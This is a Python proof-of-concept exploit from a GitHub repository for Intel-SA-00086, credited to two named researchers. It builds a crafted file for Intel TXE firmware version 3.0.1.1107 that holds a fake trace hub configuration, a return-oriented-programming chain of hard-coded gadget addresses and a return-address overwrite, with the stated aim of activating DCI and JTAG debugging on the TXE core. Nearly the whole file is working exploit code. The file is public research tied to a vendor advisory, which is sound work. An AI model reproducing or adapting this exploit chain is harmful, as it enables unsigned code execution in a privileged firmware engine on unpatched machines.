IntelTXE-PoC/me_exp_bxtp.py at master · ptresearch/IntelTXE-PoC · GitHub

#!/usr/bin/env python # JTAG activator for Intel ME core via Intel-SA-00086 by Mark Ermolov (@_markel___) # Maxim Goryachy (@h0t_max) # # Details: https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00086.html # http://blog.ptsecurity.com/2018/01/running-unsigned-code-in-intel-me.html # https://github.com/ptresearch/IntelME-JTAG

from __future__ import print_function import argparse import struct

descr = "Intel-SA-00086 JTAG-PoC for TXE (ver. 3.0.1.1107)" STACK_BASE = 0x00056000 SYSLIB_CTX_OFFSET = 0x10 STACK_OFFSET = 0x14 BUFFER_OFFSET = 0x380 SYS_TRACER_CTX_OFFSET = 0x200 SYS_TRACER_CTX_REQ_OFFSET = 0x55c58 RET_ADDR_OFFSET = 0x338

def GenerateTHConfig(): print("[*] Generating fake tracehub configuration...") trace_hub_config = struct.pack("<B", 0x0)*6 trace_hub_config += struct.pack("<H", 0x2) trace_hub_config += struct.pack("<L", 0x020000e0) trace_hub_config += struct.pack("<L", 0x5f000000) trace_hub_config += struct.pack("<L", 0x02000010) trace_hub_config += struct.pack("<L", 0x00000888)

return trace_hub_config

def GenerateRops(): print("[*] Generating rops...") #mapping DCI rops = struct.pack("<L", 0x0004a76c) #side-band mapping rops += struct.pack("<L", 0x0004a877) #pop 2 arguments rops += struct.pack("<L", 0x000706a8) #param 2 rops += struct.pack("<L", 0x00000100) #param 1 #activating DCI rops += struct.pack("<L", 0x000011BE) #put_sel_word rops += struct.pack("<L", 0x0004a876) #pop 3 arguments rops += struct.pack("<L", 0x0000019f) #param 3 rops += struct.pack("<L", 0x00000000) #param 2 rops += struct.pack("<L", 0x00001010) #param 1 #activating DfX-agg rops += struct.pack("<L", 0x0004a76c) #side-band mapping rops += struct.pack("<L", 0x0004a877) #pop 2 arguments rops += struct.pack("<L", 0x00070684) #param 2 rops += struct.pack("<L", 0x00000100) #param 1 #setting personality rops += struct.pack("<L", 0x000011BE) #put_sel_word rops += struct.pack("<L", 0x0004a876) #pop 3 arguments rops += struct.pack("<L", 0x0000019f) #param 3 rops += struct.pack("<L", 0x00008400) #param 2 rops += struct.pack("<L", 0x00000003) #param 1

rops += struct.pack("<L", 0x0003d25b) rops += struct.pack("<L", 0x00055ff0) rops += struct.pack("<L", 0x00099010) rops += struct.pack("<L", 0x00000000)*4 rops += struct.pack("<L", 0x00009dcc) rops += struct.pack("<L", 0x00000000)*3 rops += struct.pack("<L", 0x0003d25d) rops += struct.pack("<L", 0x00000000) rops += struct.pack("<L", 0x00000001) rops += struct.pack("<L", 0x00050004) rops += struct.pack("<L", 0x00055d34) rops += struct.pack("<L", 0x00035674) rops += struct.pack("<L", 0x00000000)*4 rops += struct.pack("<L", 0x00055d3c) rops += struct.pack("<L", 0x00035015) rops += struct.pack("<L", 0x00000000) rops += struct.pack("<L", 0x000260A1)

return rops

def GenerateShellCode(): syslib_ctx_start = SYS_TRACER_CTX_REQ_OFFSET - SYS_TRACER_CTX_OFFSET print("[*] Generating SYSLIB_CTX struct (stack base: %x: syslib ctx base: %x)..." % (STACK_BASE, syslib_ctx_start)) data = GenerateTHConfig() init_trace_len = len(data) data += GenerateRops() data += struct.pack("<B", 0x0)*(RET_ADDR_OFFSET - len(data)) data += struct.pack("<L", 0x00016e1a) data += struct.pack("<L", STACK_BASE - BUFFER_OFFSET + init_trace_len)

data_tail = struct.pack("<LLLLL", 0, syslib_ctx_start, 0, 0x03000300, STACK_BASE-4) data += struct.pack("<B", 0x0)*(BUFFER_OFFSET - len(data) - len(data_tail)) data += data_tail return data

def ParseArguments(): parser = argparse.ArgumentParser(description=descr) parser.add_argument('-f', metavar='<file name>', help='file name', type=str, default="ct.bin") return parser.parse_args().f

def main(): print(descr) file_name = ParseArguments() data = GenerateShellCode() print("[*] Saving to %s..." % (file_name)) f = open(file_name, "wb") f.write(data) f.close if __name__=="__main__": main()